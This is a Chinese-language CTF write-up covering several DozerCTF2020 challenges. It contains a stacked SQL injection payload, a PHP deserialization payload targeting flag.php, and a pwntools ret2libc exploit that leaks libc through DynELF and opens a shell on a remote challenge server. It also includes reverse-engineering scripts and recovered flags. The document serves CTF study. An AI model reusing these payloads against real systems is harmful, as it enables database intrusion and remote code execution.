DozerCTF2020部分writeup

原创

0kami 于 2020-06-16 08:58:23 发布
分类专栏： CTF 文章标签： 信息安全

真·签到

base64→base32→base16→base58

sqli-labs 0

url 二次编码绕过,堆叠注入,handler 代替 select

id=1%2527;handler%20`uziuzi`%20open%20as%20okami;handler%20okami%20read%20first;handler%20okami%20close;

白给的反序列化

path=O:4:"home":2:{s:12:"%00home%00method";s:5:"mysys";s:10:"%00home%00args";a:1:{i:0;s:8:"flag.php";}}

easy_maze

upx -d 脱壳

一个迷宫,WSAD 为上下左右,每次移动 WSAD 会改变上下左右位置

```
data:0041A009 aBbbbbbbbbbb    db 'BBBBBBBBBBB',0
data:0041A015 aAbbaaabbbbbb   db 'ABBAAABBBBBB',0
data:0041A022 aAbbabaaabbaa   db 'ABBABAAABBAA',0
data:0041A02F aAbbababababba  db 'ABBABABABBBA',0
data:0041A03C aAaaababababba  db 'AAAABABABBBA',0
data:0041A049 aBbbbbabbbaaa   db 'BBBBBABBBAAA',0
data:0041A056 aBaaaaabbbabb   db 'BAAAAABBBABB',0
data:0041A063 aBabbbbbaaaaa   db 'BABBBBBAAAAA',0
data:0041A070 aBaaaaababbab   db 'BAAAAABABBAB',0
data:0041A07D aBbbababababab  db 'BBBABABABBAB',0
data:0041A08A aBbbbbababbab   db 'BBBBBABABBAB',0
data:0041A097 aBbbaaaaabbae   db 'BBBAAAAABBAE',0
```

解密脚本:

```
str_1='11112223332211111444411222211122333322211112'



one='W'
two='A'
three='S'
four='D'

def one_fun():
    global one,three
    a=one
    one=three
    three=a

def four_fun():
    global one,two,three,four
    a=four
    four=three
    three=two
    two=one
    one=a

def three_fun():
    global one,two,three,four
    a=two
    two=four
    four=a
    b=one
    one=three
    three=b

def two_fun():
    global one,two,three,four
    a=one
    one=two
    two=three
    three=four
    four=a


str=[0 for i in range(44)]
for i in range(len(str_1)):

    if str_1[i]=='3':
        str[i]=one
        one_fun()



    if str_1[i]=='2':
        str[i]=four
        four_fun()


    if str_1[i]=='1':
        str[i]=three
```

```
        three_fun()

    if str_1[i]=='4':
        str[i]=two
        two_fun()

#md5=e2b94144f06fdb08695065331d44b59e
print ''.join(str)
```

最后 md5 加密得到 flag: e2b94144f06fdb08695065331d44b59e

ret2 temp

无libc的DynELF泄露

```
#coding:utf-8
from pwn import *

#p=process("./pwn")
p=remote('118.31.11.216','36666')
elf1=ELF("./pwn")

write_addr=elf1.symbols['write']
read_addr=elf1.symbols['read']
main_addr=0x804851F
binsh_addr=elf1.bss()
pppt_addr=0x08048618              #pppt的地址(pop ebx)
def leak(addr):
    p.recv()
 #write(fd, addr, len)
    payload='a'*112+p32(write_addr)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
    p.sendline(payload)
    data=p.recv(4)
    #print data
    return data

d=DynELF(leak,elf=elf1)
sys_add=d.lookup("system","libc")
log.success("system"+str(hex(sys_add)))
p.recv()

#payload='a'*112+p32(read_addr)+p32(pppt_addr)+p32(0)+p32(binsh_addr)+p32(8)+p32(sys_add)+p32(0xdeadbeef)+p
payload='A'*112+p32(read_addr)+p32(sys_add)+p32(0)+p32(binsh_addr)+p32(8)+'AAAA'+p32(binsh_addr)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
```

貌似有些不对

```
.rdata:0040B330 aSorry          db 'sorry!!',0          ; DATA XREF: sub_4023C0+58E↑o
.rdata:0040B338 aOeg7u19kuvcsv2 db 'OEG7U19kUvCsV29qzT9qcUm0yDCwy2CiWjOrU2Or',0
.rdata:0040B338                                         ; DATA XREF: sub_4023C0+3B2↑o
.rdata:0040B361 aYes            db 'yes',0              ; DATA XREF: sub_4023C0+3E5↑o
.rdata:0040B365                 align 4
.rdata:0040B368 off_40B368      dd offset loc_402840    ; DATA XREF: sub_4023C0+12B↑r
.rdata:0040B368                 dd offset loc_402940    ; jump table for switch statement
.rdata:0040B368                 dd offset loc_4029C0
.rdata:0040B368                 dd offset loc_4024F2
.rdata:0040B368                 dd offset loc_402620
.rdata:0040B37C aZyxabcdefghijk db 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/',0
.rdata:0040B37C                                         ; DATA XREF: sub_402CC0+5C↑o
```

可疑字符但是 base 解码失败,猜测为 base 字符替换

base 字符替换脚本:

```
# coding:utf-8

#s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
def My_base64_encode(inputs):
 # 将字符串转化为2进制
 bin_str = []
 for i in inputs:
  x = str(bin(ord(i))).replace('0b', '')
  bin_str.append('{:0>8}'.format(x))
 #print(bin_str)
 # 输出的字符串
 outputs = ""
 # 不够三倍数，需补齐的次数
 nums = 0
 while bin_str:
  #每次取三个字符的二进制
  temp_list = bin_str[:3]
  if(len(temp_list) != 3):
   nums = 3 - len(temp_list)
   while len(temp_list) < 3:
    temp_list += ['0' * 8]
  temp_str = "".join(temp_list)
  #print(temp_str)
  # 将三个8字节的二进制转换为4个十进制
  temp_str_list = []
  for i in range(0,4):
   temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))
  #print(temp_str_list)
  if nums:
   temp_str_list = temp_str_list[0:4 - nums]

  for i in temp_str_list:
   outputs += s[i]
  bin_str = bin_str[3:]
 outputs += nums * '='
 print("Encrypted String:\n%s "%outputs)

def My_base64_decode(inputs):
 # 将字符串转化为2进制
 bin_str = []
 for i in inputs:
  if i != '=':
   x = str(bin(s.index(i))).replace('0b', '')
   bin_str.append('{:0>6}'.format(x))
 #print(bin_str)
```

```
 #print(bin_str)
 # 输出的字符串
 outputs = ""
 nums = inputs.count('=')
 while bin_str:
  temp_list = bin_str[:4]
  temp_str = "".join(temp_list)
  #print(temp_str)
  # 补足8位字节
  if(len(temp_str) % 8 != 0):
   temp_str = temp_str[0:-1 * nums * 2]
  # 将四个6字节的二进制转换为三个字符
  for i in range(0,int(len(temp_str) / 8)):
   outputs += chr(int(temp_str[i*8:(i+1)*8],2))
  bin_str = bin_str[4:]
 print("Decrypted String:\n%s "%outputs)

print()
print("     ************************************")
print("     *    (1)encode         (2)decode    *")
print("     ************************************")
print()


num = input("Please select the operation you want to perform:\n")
if(num == "1"):
 input_str = raw_input("Please enter a string that needs to be encrypted: \n")
 My_base64_encode(input_str)
else:
 input_str = raw_input("Please enter a string that needs to be decrypted: \n")
 My_base64_decode(input_str)
```

解密:OEG7U19kUvCsV29qzT9qcUm0yDCwy2CiWjOrU2Or
然后栅栏解密得到:Dozerctf{old_man_is_good_man!}